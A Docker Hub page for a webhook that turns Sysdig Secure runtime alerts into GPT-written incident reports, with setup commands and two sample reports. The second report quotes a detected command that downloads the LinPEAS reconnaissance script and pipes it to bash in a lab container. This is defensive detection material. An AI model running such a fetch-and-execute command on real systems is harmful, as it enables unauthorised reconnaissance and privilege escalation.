Sign inSign up

sysdigdan/sysdig-chatgpt-webhook

By sysdigdan

•Updated over 3 years ago

Image
0

205

sysdigdan/sysdig-chatgpt-webhook repository overview

⁠✨Sysdig Secure Events OpenAI Webhook ✨

This project is a webhook for Sysdig Secure to generate a Security Incident Report using OpenAI GPT.

⁠OpenAI

You will need to sign up for an OpenAI API account https://openai.com/blog/openai-api⁠. You will also require an OpenAI API key linked to your account.

⁠Quickstart

docker pull sysdigdan/sysdig-chatgpt-webhook:dev

docker run -it --rm --network host --name sysdig-chatgpt-webhook \
-e OPENAI_API_KEY=<YOUR_API_KEY> \
sysdigdan/sysdig-chatgpt-webhook:dev

⁠Configuration

Environment VariableDescriptionDefault
WEBHOOK_PORTWebhook listening port8080
OPENAI_API_KEY(REQUIRED) OpenAI API Key""
OPENAI_MODEL_NAMEOpenAI Model used to generate response - More details https://platform.openai.com/docs/models⁠gpt-3.5-turbo
TEMPERATURETemperature is a parameter of OpenAI models that governs the randomness and thus the creativity of the responses. https://platform.openai.com/docs/api-reference/completions/create#completions/create-temperature⁠0.5
SLACK_ACCESS_TOKENSlack Access Key - requires Slack App to be created""
SLACK_CHANNEL_IDSlack Channel ID - requires Slack App to be created""

⁠Example Responses

⁠Example 1
Event Review:
On 21st April 2023, at 01:30 AM UTC, Sysdig Runtime Threat Detection policy was triggered due to an unexpected connection from a legitimate process/port. The policy event was detected on the container named "threatgen" with container ID "7afc376de362". The process name was "kmsd google.com 80" with process parent "pwsh" and the port was (46153, 53). The event was detected on the host "crio-worker-0" in the namespace "threat-generator" and the cluster name was "crio-lab". The policy event was considered high severity, and no actions were performed.

Reasoning:
The event was triggered due to an unexpected connection from a legitimate process/port. This type of behaviour is commonly used by attackers to establish a backdoor connection to the system, allowing them to execute malicious commands remotely. Attackers can use this technique to bypass firewalls and other security measures. They can also use this technique to exfiltrate data from the system or to download and execute additional malware.

Recommendations:
To address this incident, the following steps should be taken:
1. Investigate the container "threatgen" and the process "kmsd google.com 80" to determine if it is a legitimate process or if it is part of an attack.
2. Check the firewall rules to ensure that the port (46153, 53) is not open to the public.
3. Review the access controls and permissions for the container "threatgen" and the process "kmsd google.com 80" to ensure that they are properly configured.
4. Implement intrusion detection and prevention systems to detect and prevent similar attacks in the future.
5. Regularly update and patch the system to prevent known vulnerabilities from being exploited.

Appendix:
Event URL: https://app.au1.sysdig.com/secure/#/events/1757cf0fa683e361381757a2e08c45c2
⁠Example 2
Event Review:
On April 21, 2023, at 01:30 AM UTC, Sysdig Runtime Threat Detection policy was triggered due to the detection of a reconnaissance script. The script was being executed in a container named "threatgen" with container ID "7afc376de362". The script was executed using the bash command with the following parameters: "bash -c curl -q -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash -s -- -o system_information,container -q". The script was detected as a reconnaissance script and was considered a high-confidence security incident by Sysdig. No actions were performed as a response to this incident.

Reasoning:
Reconnaissance scripts are commonly used by attackers to gather information about a target system or network. These scripts can be used to identify vulnerabilities, open ports, running services, and other information that can be used to plan and execute an attack. The script detected in this event is a LinPEAS script, which is a popular reconnaissance tool used to gather information about Linux systems. The script was being executed in a container named "threatgen" which suggests that the container was being used for testing or as a part of a lab environment. However, the execution of the script in a container can be a sign of a malicious actor attempting to gather information about the container or the system it is running on.

Recommendations:
The detection of a reconnaissance script in a container should be investigated further to ensure that it is not a part of a malicious attack. The following steps can be taken to address this incident:
1. Investigate the container: The container "threatgen" should be investigated further to determine its purpose and whether the execution of the script was intentional or not. The container should be checked for any signs of compromise or malicious activity.
2. Review access controls: Access controls for the container and the system it is running on should be reviewed to ensure that only authorized users have access.
3. Implement security monitoring: Security monitoring should be implemented to detect any further suspicious activity on the system or the container.
4. Update security policies: Security policies should be updated to include the detection of reconnaissance scripts and appropriate actions should be defined in response to such incidents.

Appendix:
Event URL: https://app.au1.sysdig.com/secure//#/events/?from=1682040593\u0026to=1682040654

Tag summary

Content type

Image

Digest

sha256:5f48b7c54…

Size

10.1 MB

Last updated

over 3 years ago

docker pull sysdigdan/sysdig-chatgpt-webhook:v0.1